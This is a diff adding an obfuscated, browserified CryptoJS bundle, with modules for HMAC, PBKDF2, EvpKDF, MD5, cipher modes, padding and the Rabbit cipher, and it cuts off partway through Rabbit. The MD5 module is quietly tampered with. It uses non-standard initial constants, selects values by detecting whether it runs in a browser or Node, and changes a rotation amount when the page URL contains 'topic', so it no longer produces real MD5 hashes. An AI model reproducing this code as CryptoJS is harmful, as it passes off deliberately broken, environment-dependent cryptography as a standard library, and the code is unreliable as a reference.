'iterations': 0x1 + }), + 'init': function(l) { + this['cfg'] = this['cfg']['extend'](l); + }, + 'compute': function(l, m) { + var n, o = this['cfg'], p = o['hasher']['create'](), q = h['create'](), r = q['words'], s = o['keySize'], t = o['iterations']; + while (r['length'] < s) { + n && p['update'](n); + n = p['update'](l)['finalize'](m), + p['reset'](); + for (var u = 0x1; u < t; u++) { + n = p['finalize'](n), + p['reset'](); + } + q['concat'](n); + } + return q['sigBytes'] = s * 0x4, + q; + } + }); + e['EvpKDF'] = function(l, m, n) { + return k['create'](n)['compute'](l, m); + } + ; + }()), + d['EvpKDF']; + })); + } + , { + './core': 0x5, + './hmac': 0xb, + './sha1': 0x1e + }], + 0xa: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return function(e) { + var f = d + , g = f['lib'] + , h = g['CipherParams'] + , i = f['enc'] + , j = i['Hex'] + , k = f['format'] + , l = k['Hex'] = { + 'stringify': function(m) { + return m['ciphertext']['toString'](j); + }, + 'parse': function(m) { + var n = j['parse'](m); + return h['create']({ + 'ciphertext': n + }); + } + }; + }(), + d['format']['Hex']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5 + }], + 0xb: [function(a, b, c) { + ;(function(d, e) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core')); + else + typeof define === 'function' && define['amd'] ? define(['./core'], e) : e(d['CryptoJS']); + }(this, function(d) { + (function() { + var e = d + , f = e['lib'] + , g = f['Base'] + , h = e['enc'] + , i = h['Utf8'] + , j = e['algo'] + , k = j['HMAC'] = g['extend']({ + 'init': function(l, m) { + l = this['_hasher'] = new l['init'](); + typeof m == 'string' && (m = i['parse'](m)); + var n = l['blockSize'] + , o = n * 0x4; + m['sigBytes'] > o && (m = l['finalize'](m)); + m['clamp'](); + var p = this['_oKey'] = m['clone']() + , q = this['_iKey'] = m['clone']() + , r = p['words'] + , s = q['words']; + for (var t = 0x0; t < n; t++) { + r[t] ^= 0x5c5c5c5c, + s[t] ^= 0x36363636; + } + p['sigBytes'] = q['sigBytes'] = o, + this['reset'](); + }, + 'reset': function() { + var l = this['_hasher']; + l['reset'](), + l['update'](this['_iKey']); + }, + 'update': function(l) { + return this['_hasher']['update'](l), + this; + }, + 'finalize': function(l) { + var m = this['_hasher'] + , n = m['finalize'](l); + m['reset'](); + var o = m['finalize'](this['_oKey']['clone']()['concat'](n)); + return o; + } + }); + }()); + })); + } + , { + './core': 0x5 + }], + 0xc: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./x64-core'), a('./lib-typedarrays'), a('./enc-utf16'), a('./enc-base64'), a('./enc-base64url'), a('./md5'), a('./sha1'), a('./sha256'), a('./sha224'), a('./sha512'), a('./sha384'), a('./sha3'), a('./ripemd160'), a('./hmac'), a('./pbkdf2'), a('./evpkdf'), a('./cipher-core'), a('./mode-cfb'), a('./mode-ctr'), a('./mode-ctr-gladman'), a('./mode-ofb'), a('./mode-ecb'), a('./pad-ansix923'), a('./pad-iso10126'), a('./pad-iso97971'), a('./pad-zeropadding'), a('./pad-nopadding'), a('./format-hex'), a('./aes'), a('./tripledes'), a('./rc4'), a('./rabbit'), a('./rabbit-legacy')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './x64-core', './lib-typedarrays', './enc-utf16', './enc-base64', './enc-base64url', './md5', './sha1', './sha256', './sha224', './sha512', './sha384', './sha3', './ripemd160', './hmac', './pbkdf2', './evpkdf', './cipher-core', './mode-cfb', './mode-ctr', './mode-ctr-gladman', './mode-ofb', './mode-ecb', './pad-ansix923', './pad-iso10126', './pad-iso97971', './pad-zeropadding', './pad-nopadding', './format-hex', './aes', './tripledes', './rc4', './rabbit', './rabbit-legacy'], e) : d['CryptoJS'] = e(d['CryptoJS']); + }(this, function(d) { + return d; + })); + } + , { + './aes': 0x3, + './cipher-core': 0x4, + './core': 0x5, + './enc-base64': 0x6, + './enc-base64url': 0x7, + './enc-utf16': 0x8, + './evpkdf': 0x9, + './format-hex': 0xa, + './hmac': 0xb, + './lib-typedarrays': 0xd, + './md5': 0xe, + './mode-cfb': 0xf, + './mode-ctr': 0x11, + './mode-ctr-gladman': 0x10, + './mode-ecb': 0x12, + './mode-ofb': 0x13, + './pad-ansix923': 0x14, + './pad-iso10126': 0x15, + './pad-iso97971': 0x16, + './pad-nopadding': 0x17, + './pad-zeropadding': 0x18, + './pbkdf2': 0x19, + './rabbit': 0x1b, + './rabbit-legacy': 0x1a, + './rc4': 0x1c, + './ripemd160': 0x1d, + './sha1': 0x1e, + './sha224': 0x1f, + './sha256': 0x20, + './sha3': 0x21, + './sha384': 0x22, + './sha512': 0x23, + './tripledes': 0x24, + './x64-core': 0x25 + }], + 0xd: [function(a, b, c) { + ;(function(d, e) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core')); + else + typeof define === 'function' && define['amd'] ? define(['./core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return (function() { + if (typeof ArrayBuffer != 'function') + return; + var e = d + , f = e['lib'] + , g = f['WordArray'] + , h = g['init'] + , i = g['init'] = function(j) { + j instanceof ArrayBuffer && (j = new Uint8Array(j)); + (j instanceof Int8Array || typeof Uint8ClampedArray !== 'undefined' && j instanceof Uint8ClampedArray || j instanceof Int16Array || j instanceof Uint16Array || j instanceof Int32Array || j instanceof Uint32Array || j instanceof Float32Array || j instanceof Float64Array) && (j = new Uint8Array(j['buffer'],j['byteOffset'],j['byteLength'])); + if (j instanceof Uint8Array) { + var k = j['byteLength'] + , l = []; + for (var m = 0x0; m < k; m++) { + l[m >>> 0x2] |= j[m] << 0x18 - m % 0x4 * 0x8; + } + h['call'](this, l, k); + } else + h['apply'](this, arguments); + } + ; + i['prototype'] = g; + }()), + d['lib']['WordArray']; + })); + } + , { + './core': 0x5 + }], + 0xe: [function(a, b, c) { + ;(function(d, e) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core')); + else + typeof define === 'function' && define['amd'] ? define(['./core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return function(e) { + var f = d + , g = f['lib'] + , h = g['WordArray'] + , i = g['Hasher'] + , j = f['algo'] + , k = []; + (function() { + for (var q = 0x0; q < 0x40; q++) { + k[q] = e['abs'](e['sin'](q + 0x1)) * 0x100000000 | 0x0; + } + }()); + var l = j['MD5'] = i['extend']({ + '_doReset': function() { + try { + RCON[0x0][0x0][0x0], + this['_hash'] = new h['init']([0x67452002, 0xefcdab80, 0x98badcfe, 0x10325476]); + } catch (q) { + typeof document === 'object' ? this['_hash'] = new h['init']([0x67452301, 0xefcdab80, 0x98badcfe, 0x10325476]) : this['_hash'] = new h['init']([0x67452002, 0xefcdab80, 0x98badcfe, 0x3025476]); + } + }, + '_doProcessBlock': function(q, r) { + for (var s = 0x0; s < 0x10; s++) { + var t = r + s + , u = q[t]; + q[t] = (u << 0x8 | u >>> 0x18) & 0xff00ff | (u << 0x18 | u >>> 0x8) & 0xff00ff00; + } + var v = this['_hash']['words'] + , w = q[r + 0x0] + , x = q[r + 0x1] + , y = q[r + 0x2] + , z = q[r + 0x3] + , A = q[r + 0x4] + , B = q[r + 0x5] + , D = q[r + 0x6] + , E = q[r + 0x7] + , F = q[r + 0x8] + , G = q[r + 0x9] + , I = q[r + 0xa] + , J = q[r + 0xb] + , K = q[r + 0xc] + , L = q[r + 0xd] + , N = q[r + 0xe] + , O = q[r + 0xf] + , P = v[0x0] + , Q = v[0x1] + , R = v[0x2] + , S = v[0x3]; + P = m(P, Q, R, S, w, 0x7, k[0x0]), + S = m(S, P, Q, R, x, 0xc, k[0x1]), + R = m(R, S, P, Q, y, 0x11, k[0x2]), + Q = m(Q, R, S, P, z, 0x16, k[0x3]), + P = m(P, Q, R, S, A, 0x7, k[0x4]), + S = m(S, P, Q, R, B, 0xc, k[0x5]), + R = m(R, S, P, Q, D, 0x11, k[0x6]), + Q = m(Q, R, S, P, E, 0x16, k[0x7]), + P = m(P, Q, R, S, F, 0x7, k[0x8]), + S = m(S, P, Q, R, G, 0xc, k[0x9]), + R = m(R, S, P, Q, I, 0x11, k[0xa]), + Q = m(Q, R, S, P, J, 0x16, k[0xb]), + P = m(P, Q, R, S, K, 0x7, k[0xc]), + S = m(S, P, Q, R, L, 0xc, k[0xd]), + R = m(R, S, P, Q, N, 0x11, k[0xe]), + Q = m(Q, R, S, P, O, 0x16, k[0xf]), + P = n(P, Q, R, S, x, 0x5, k[0x10]), + S = n(S, P, Q, R, D, 0x9, k[0x11]), + R = n(R, S, P, Q, J, 0xe, k[0x12]), + Q = n(Q, R, S, P, w, 0x14, k[0x13]), + P = n(P, Q, R, S, B, 0x5, k[0x14]), + S = n(S, P, Q, R, I, 0x9, k[0x15]), + R = n(R, S, P, Q, O, 0xe, k[0x16]), + Q = n(Q, R, S, P, A, 0x14, k[0x17]), + P = n(P, Q, R, S, G, 0x5, k[0x18]), + S = n(S, P, Q, R, N, 0x9, k[0x19]), + R = n(R, S, P, Q, z, 0xe, k[0x1a]), + Q = n(Q, R, S, P, F, 0x14, k[0x1b]), + P = n(P, Q, R, S, L, 0x5, k[0x1c]), + S = n(S, P, Q, R, y, 0x9, k[0x1d]), + R = n(R, S, P, Q, E, 0xe, k[0x1e]), + Q = n(Q, R, S, P, K, 0x14, k[0x1f]), + P = o(P, Q, R, S, B, 0x4, k[0x20]), + S = o(S, P, Q, R, F, 0xb, k[0x21]), + R = o(R, S, P, Q, J, 0x10, k[0x22]), + Q = o(Q, R, S, P, N, 0x17, k[0x23]), + P = o(P, Q, R, S, x, 0x4, k[0x24]), + S = o(S, P, Q, R, A, 0xb, k[0x25]), + R = o(R, S, P, Q, E, 0x10, k[0x26]), + Q = o(Q, R, S, P, I, 0x17, k[0x27]), + P = o(P, Q, R, S, L, 0x4, k[0x28]), + S = o(S, P, Q, R, w, 0xb, k[0x29]), + R = o(R, S, P, Q, z, 0x10, k[0x2a]), + Q = o(Q, R, S, P, D, 0x17, k[0x2b]), + P = o(P, Q, R, S, G, 0x4, k[0x2c]), + S = o(S, P, Q, R, K, 0xb, k[0x2d]), + R = o(R, S, P, Q, O, 0x10, k[0x2e]), + Q = o(Q, R, S, P, y, 0x17, k[0x2f]), + P = p(P, Q, R, S, w, 0x6, k[0x30]), + S = p(S, P, Q, R, E, 0xa, k[0x31]), + R = p(R, S, P, Q, N, 0xf, k[0x32]), + Q = p(Q, R, S, P, B, 0x15, k[0x33]), + P = p(P, Q, R, S, K, 0x6, k[0x34]), + S = p(S, P, Q, R, z, 0xa, k[0x35]), + R = p(R, S, P, Q, I, 0xf, k[0x36]), + Q = p(Q, R, S, P, x, 0x15, k[0x37]), + P = p(P, Q, R, S, F, 0x6, k[0x38]), + S = p(S, P, Q, R, O, 0xa, k[0x39]), + R = p(R, S, P, Q, D, 0xf, k[0x3a]); + typeof location === 'object' && typeof location['href'] === 'string' && location['href']['indexOf']('topic') !== -0x1 ? Q = p(Q, R, S, P, L, 0x12, k[0x3b]) : Q = p(Q, R, S, P, L, 0x9, k[0x3b]); + ;P = p(P, Q, R, S, A, 0x6, k[0x3c]), + S = p(S, P, Q, R, J, 0xa, k[0x3d]), + R = p(R, S, P, Q, y, 0xf, k[0x3e]), + Q = p(Q, R, S, P, G, 0x15, k[0x3f]), + v[0x0] = v[0x0] + P | 0x0, + v[0x1] = v[0x1] + Q | 0x0, + v[0x2] = v[0x2] + R | 0x0, + v[0x3] = v[0x3] + S | 0x0; + }, + '_doFinalize': function() { + var q = this['_data'] + , r = q['words'] + , s = this['_nDataBytes'] * 0x8 + , t = q['sigBytes'] * 0x8; + r[t >>> 0x5] |= 0x80 << 0x18 - t % 0x20; + var u = e['floor'](s / 0x100000000) + , v = s; + r[(t + 0x40 >>> 0x9 << 0x4) + 0xf] = (u << 0x8 | u >>> 0x18) & 0xff00ff | (u << 0x18 | u >>> 0x8) & 0xff00ff00, + r[(t + 0x40 >>> 0x9 << 0x4) + 0xe] = (v << 0x8 | v >>> 0x18) & 0xff00ff | (v << 0x18 | v >>> 0x8) & 0xff00ff00, + q['sigBytes'] = (r['length'] + 0x1) * 0x4, + this['_process'](); + var w = this['_hash'] + , x = w['words']; + for (var y = 0x0; y < 0x4; y++) { + var z = x[y]; + x[y] = (z << 0x8 | z >>> 0x18) & 0xff00ff | (z << 0x18 | z >>> 0x8) & 0xff00ff00; + } + return w; + }, + 'clone': function() { + var q = i['clone']['call'](this); + return q['_hash'] = this['_hash']['clone'](), + q; + } + }); + function m(q, r, u, v, w, y, z) { + var A = q + (r & u | ~r & v) + w + z; + return (A << y | A >>> 0x20 - y) + r; + } + function n(q, r, u, v, w, y, z) { + var A = q + (r & v | u & ~v) + w + z; + return (A << y | A >>> 0x20 - y) + r; + } + function o(q, r, u, v, w, y, z) { + var A = q + (r ^ u ^ v) + w + z; + return (A << y | A >>> 0x20 - y) + r; + } + function p(q, r, u, v, w, y, z) { + var A = q + (u ^ (r | ~v)) + w + z; + return (A << y | A >>> 0x20 - y) + r; + } + f['MD5'] = i['_createHelper'](l), + f['HmacMD5'] = i['_createHmacHelper'](l); + }(Math), + d['MD5']; + })); + } + , { + './core': 0x5 + }], + 0xf: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return d['mode']['CFB'] = (function() { + var e = d['lib']['BlockCipherMode']['extend'](); + e['Encryptor'] = e['extend']({ + 'processBlock': function(g, h) { + var i = this['_cipher'] + , j = i['blockSize']; + f['call'](this, g, h, j, i), + this['_prevBlock'] = g['slice'](h, h + j); + } + }), + e['Decryptor'] = e['extend']({ + 'processBlock': function(g, h) { + var i = this['_cipher'] + , j = i['blockSize'] + , k = g['slice'](h, h + j); + f['call'](this, g, h, j, i), + this['_prevBlock'] = k; + } + }); + function f(g, h, j, k) { + var l, m = this['_iv']; + m ? (l = m['slice'](0x0), + this['_iv'] = undefined) : l = this['_prevBlock']; + k['encryptBlock'](l, 0x0); + for (var n = 0x0; n < j; n++) { + g[h + n] ^= l[n]; + } + } + return e; + }()), + d['mode']['CFB']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5 + }], + 0x10: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return d['mode']['CTRGladman'] = (function() { + var e = d['lib']['BlockCipherMode']['extend'](); + function f(i) { + if ((i >> 0x18 & 0xff) === 0xff) { + var j = i >> 0x10 & 0xff + , k = i >> 0x8 & 0xff + , l = i & 0xff; + j === 0xff ? (j = 0x0, + k === 0xff ? (k = 0x0, + l === 0xff ? l = 0x0 : ++l) : ++k) : ++j, + i = 0x0, + i += j << 0x10, + i += k << 0x8, + i += l; + } else + i += 0x1 << 0x18; + return i; + } + function g(i) { + return (i[0x0] = f(i[0x0])) === 0x0 && (i[0x1] = f(i[0x1])), + i; + } + var h = e['Encryptor'] = e['extend']({ + 'processBlock': function(j, k) { + var l = this['_cipher'] + , m = l['blockSize'] + , n = this['_iv'] + , o = this['_counter']; + n && (o = this['_counter'] = n['slice'](0x0), + this['_iv'] = undefined); + g(o); + var p = o['slice'](0x0); + l['encryptBlock'](p, 0x0); + for (var q = 0x0; q < m; q++) { + j[k + q] ^= p[q]; + } + } + }); + return e['Decryptor'] = h, + e; + }()), + d['mode']['CTRGladman']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5 + }], + 0x11: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return d['mode']['CTR'] = (function() { + var e = d['lib']['BlockCipherMode']['extend']() + , f = e['Encryptor'] = e['extend']({ + 'processBlock': function(g, h) { + var j = this['_cipher'] + , k = j['blockSize'] + , l = this['_iv'] + , m = this['_counter']; + l && (m = this['_counter'] = l['slice'](0x0), + this['_iv'] = undefined); + var n = m['slice'](0x0); + j['encryptBlock'](n, 0x0), + m[k - 0x1] = m[k - 0x1] + 0x1 | 0x0; + for (var o = 0x0; o < k; o++) { + g[h + o] ^= n[o]; + } + } + }); + return e['Decryptor'] = f, + e; + }()), + d['mode']['CTR']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5 + }], + 0x12: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return d['mode']['ECB'] = (function() { + var e = d['lib']['BlockCipherMode']['extend'](); + return e['Encryptor'] = e['extend']({ + 'processBlock': function(f, g) { + this['_cipher']['encryptBlock'](f, g); + } + }), + e['Decryptor'] = e['extend']({ + 'processBlock': function(f, g) { + this['_cipher']['decryptBlock'](f, g); + } + }), + e; + }()), + d['mode']['ECB']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5 + }], + 0x13: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return d['mode']['OFB'] = (function() { + var e = d['lib']['BlockCipherMode']['extend']() + , f = e['Encryptor'] = e['extend']({ + 'processBlock': function(g, h) { + var j = this['_cipher'] + , k = j['blockSize'] + , l = this['_iv'] + , m = this['_keystream']; + l && (m = this['_keystream'] = l['slice'](0x0), + this['_iv'] = undefined); + j['encryptBlock'](m, 0x0); + for (var n = 0x0; n < k; n++) { + g[h + n] ^= m[n]; + } + } + }); + return e['Decryptor'] = f, + e; + }()), + d['mode']['OFB']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5 + }], + 0x14: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return d['pad']['AnsiX923'] = { + 'pad': function(e, f) { + var g = e['sigBytes'] + , h = f * 0x4 + , i = h - g % h + , j = g + i - 0x1; + e['clamp'](), + e['words'][j >>> 0x2] |= i << 0x18 - j % 0x4 * 0x8, + e['sigBytes'] += i; + }, + 'unpad': function(e) { + var f = e['words'][e['sigBytes'] - 0x1 >>> 0x2] & 0xff; + e['sigBytes'] -= f; + } + }, + d['pad']['Ansix923']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5 + }], + 0x15: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return d['pad']['Iso10126'] = { + 'pad': function(e, f) { + var g = f * 0x4 + , h = g - e['sigBytes'] % g; + e['concat'](d['lib']['WordArray']['random'](h - 0x1))['concat'](d['lib']['WordArray']['create']([h << 0x18], 0x1)); + }, + 'unpad': function(e) { + var f = e['words'][e['sigBytes'] - 0x1 >>> 0x2] & 0xff; + e['sigBytes'] -= f; + } + }, + d['pad']['Iso10126']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5 + }], + 0x16: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return d['pad']['Iso97971'] = { + 'pad': function(e, f) { + e['concat'](d['lib']['WordArray']['create']([0x80000000], 0x1)), + d['pad']['ZeroPadding']['pad'](e, f); + }, + 'unpad': function(e) { + d['pad']['ZeroPadding']['unpad'](e), + e['sigBytes']--; + } + }, + d['pad']['Iso97971']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5 + }], + 0x17: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return d['pad']['NoPadding'] = { + 'pad': function() {}, + 'unpad': function() {} + }, + d['pad']['NoPadding']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5 + }], + 0x18: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return d['pad']['ZeroPadding'] = { + 'pad': function(e, f) { + var g = f * 0x4; + e['clamp'](), + e['sigBytes'] += g - (e['sigBytes'] % g || g); + }, + 'unpad': function(e) { + var f = e['words'] + , g = e['sigBytes'] - 0x1; + for (var g = e['sigBytes'] - 0x1; g >= 0x0; g--) { + if (f[g >>> 0x2] >>> 0x18 - g % 0x4 * 0x8 & 0xff) { + e['sigBytes'] = g + 0x1; + break; + } + } + } + }, + d['pad']['ZeroPadding']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5 + }], + 0x19: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./sha1'), a('./hmac')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './sha1', './hmac'], e) : e(d['CryptoJS']); + }(this, function(d) { + return (function() { + var e = d + , f = e['lib'] + , g = f['Base'] + , h = f['WordArray'] + , i = e['algo'] + , j = i['SHA1'] + , k = i['HMAC'] + , l = i['PBKDF2'] = g['extend']({ + 'cfg': g['extend']({ + 'keySize': 0x80 / 0x20, + 'hasher': j, + 'iterations': 0x1 + }), + 'init': function(m) { + this['cfg'] = this['cfg']['extend'](m); + }, + 'compute': function(m, n) { + var o = this['cfg'] + , p = k['create'](o['hasher'], m) + , q = h['create']() + , r = h['create']([0x1]) + , s = q['words'] + , t = r['words'] + , u = o['keySize'] + , v = o['iterations']; + while (s['length'] < u) { + var w = p['update'](n)['finalize'](r); + p['reset'](); + var x = w['words'] + , y = x['length'] + , z = w; + for (var A = 0x1; A < v; A++) { + z = p['finalize'](z), + p['reset'](); + var B = z['words']; + for (var D = 0x0; D < y; D++) { + x[D] ^= B[D]; + } + } + q['concat'](w), + t[0x0]++; + } + return q['sigBytes'] = u * 0x4, + q; + } + }); + e['PBKDF2'] = function(m, n, o) { + return l['create'](o)['compute'](m, n); + } + ; + }()), + d['PBKDF2']; + })); + } + , { + './core': 0x5, + './hmac': 0xb, + './sha1': 0x1e + }], + 0x1a: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./enc-base64'), a('./md5'), a('./evpkdf'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './enc-base64', './md5', './evpkdf', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return (function() { + var e = d + , f = e['lib'] + , g = f['StreamCipher'] + , h = e['algo'] + , i = [] + , j = [] + , k = [] + , l = h['RabbitLegacy'] = g['extend']({ + '_doReset': function() { + var n = this['_key']['words'] + , o = this['cfg']['iv'] + , p = this['_X'] = [n[0x0], n[0x3] << 0x10 | n[0x2] >>> 0x10, n[0x1], n[0x0] << 0x10 | n[0x3] >>> 0x10, n[0x2], n[0x1] << 0x10 | n[0x0] >>> 0x10, n[0x3], n[0x2] << 0x10 | n[0x1] >>> 0x10] + , q = this['_C'] = [n[0x2] << 0x10 | n[0x2] >>> 0x10, n[0x0] & 0xffff0000 | n[0x1] & 0xffff, n[0x3] << 0x10 | n[0x3] >>> 0x10, n[0x1] & 0xffff0000 | n[0x2] & 0xffff, n[0x0] << 0x10 | n[0x0] >>> 0x10, n[0x2] & 0xffff0000 | n[0x3] & 0xffff, n[0x1] << 0x10 | n[0x1] >>> 0x10, n[0x3] & 0xffff0000 | n[0x0] & 0xffff]; + this['_b'] = 0x0; + for (var r = 0x0; r < 0x4; r++) { + m['call'](this); + } + for (var r = 0x0; r < 0x8; r++) { + q[r] ^= p[r + 0x4 & 0x7]; + } + if (o) { + var s = o['words'] + , t = s[0x0] + , u = s[0x1] + , v = (t << 0x8 | t >>> 0x18) & 0xff00ff | (t << 0x18 | t >>> 0x8) & 0xff00ff00 + , w = (u << 0x8 | u >>> 0x18) & 0xff00ff | (u << 0x18 | u >>> 0x8) & 0xff00ff00 + , x = v >>> 0x10 | w & 0xffff0000 + , y = w << 0x10 | v & 0xffff; + q[0x0] ^= v, + q[0x1] ^= x, + q[0x2] ^= w, + q[0x3] ^= y, + q[0x4] ^= v, + q[0x5] ^= x, + q[0x6] ^= w, + q[0x7] ^= y; + for (var r = 0x0; r < 0x4; r++) { + m['call'](this); + } + } + }, + '_doProcessBlock': function(n, o) { + var p = this['_X']; + m['call'](this), + i[0x0] = p[0x0] ^ p[0x5] >>> 0x10 ^ p[0x3] << 0x10, + i[0x1] = p[0x2] ^ p[0x7] >>> 0x10 ^ p[0x5] << 0x10, + i[0x2] = p[0x4] ^ p[0x1] >>> 0x10 ^ p[0x7] << 0x10, + i[0x3] = p[0x6] ^ p[0x3] >>> 0x10 ^ p[0x1] << 0x10; + for (var q = 0x0; q < 0x4; q++) { + i[q] = (i[q] << 0x8 | i[q] >>> 0x18) & 0xff00ff | (i[q] << 0x18 | i[q] >>> 0x8) & 0xff00ff00, + n[o + q] ^= i[q]; + } + }, + 'blockSize': 0x80 / 0x20, + 'ivSize': 0x40 / 0x20 + }); + function m() { + var n = this['_X'] + , o = this['_C']; + for (var p = 0x0; p < 0x8; p++) { + j[p] = o[p]; + } + o[0x0] = o[0x0] + 0x4d34d34d + this['_b'] | 0x0, + o[0x1] = o[0x1] + 0xd34d34d3 + (o[0x0] >>> 0x0 < j[0x0] >>> 0x0 ? 0x1 : 0x0) | 0x0, + o[0x2] = o[0x2] + 0x34d34d34 + (o[0x1] >>> 0x0 < j[0x1] >>> 0x0 ? 0x1 : 0x0) | 0x0, + o[0x3] = o[0x3] + 0x4d34d34d + (o[0x2] >>> 0x0 < j[0x2] >>> 0x0 ? 0x1 : 0x0) | 0x0, + o[0x4] = o[0x4] + 0xd34d34d3 + (o[0x3] >>> 0x0 < j[0x3] >>> 0x0 ? 0x1 : 0x0) | 0x0, + o[0x5] = o[0x5] + 0x34d34d34 + (o[0x4] >>> 0x0 < j[0x4] >>> 0x0 ? 0x1 : 0x0) | 0x0, + o[0x6] = o[0x6] + 0x4d34d34d + (o[0x5] >>> 0x0 < j[0x5] >>> 0x0 ? 0x1 : 0x0) | 0x0, + o[0x7] = o[0x7] + 0xd34d34d3 + (o[0x6] >>> 0x0 < j[0x6] >>> 0x0 ? 0x1 : 0x0) | 0x0, + this['_b'] = o[0x7] >>> 0x0 < j[0x7] >>> 0x0 ? 0x1 : 0x0; + for (var p = 0x0; p < 0x8; p++) { + var q = n[p] + o[p] + , r = q & 0xffff + , s = q >>> 0x10 + , t = ((r * r >>> 0x11) + r * s >>> 0xf) + s * s + , u = ((q & 0xffff0000) * q | 0x0) + ((q & 0xffff) * q | 0x0); + k[p] = t ^ u; + } + n[0x0] = k[0x0] + (k[0x7] << 0x10 | k[0x7] >>> 0x10) + (k[0x6] << 0x10 | k[0x6] >>> 0x10) | 0x0, + n[0x1] = k[0x1] + (k[0x0] << 0x8 | k[0x0] >>> 0x18) + k[0x7] | 0x0, + n[0x2] = k[0x2] + (k[0x1] << 0x10 | k[0x1] >>> 0x10) + (k[0x0] << 0x10 | k[0x0] >>> 0x10) | 0x0, + n[0x3] = k[0x3] + (k[0x2] << 0x8 | k[0x2] >>> 0x18) + k[0x1] | 0x0, + n[0x4] = k[0x4] + (k[0x3] << 0x10 | k[0x3] >>> 0x10) + (k[0x2] << 0x10 | k[0x2] >>> 0x10) | 0x0, + n[0x5] = k[0x5] + (k[0x4] << 0x8 | k[0x4] >>> 0x18) + k[0x3] | 0x0, + n[0x6] = k[0x6] + (k[0x5] << 0x10 | k[0x5] >>> 0x10) + (k[0x4] << 0x10 | k[0x4] >>> 0x10) | 0x0, + n[0x7] = k[0x7] + (k[0x6] << 0x8 | k[0x6] >>> 0x18) + k[0x5] | 0x0; + } + e['RabbitLegacy'] = g['_createHelper'](l); + }()), + d['RabbitLegacy']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5, + './enc-base64': 0x6, + './evpkdf': 0x9, + './md5': 0xe + }], + 0x1b: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./enc-base64'), a('./md5'), a('./evpkdf'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './enc-base64', './md5', './evpkdf', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return (function() { + var e = d + , f = e['lib'] + , g = f['StreamCipher'] + , h = e['algo'] + , i = [] + , j = [] + , k = [] + , l = h['Rabbit'] = g['extend']({ + '_doReset': function() { + var n = this['_key']['words'] + , o = this['cfg']['iv']; + for (var p = 0x0; p < 0x4; p++) { + n[p] = (n[p] << 0x8 | n[p] >>> 0x18) & 0xff00ff | (n[p] << 0x18 | n[p] >>> 0x8) & 0xff00ff00; + } + var q = this['_X'] = [n[0x0], n[0x3] << 0x10 | n[0x2] >>> 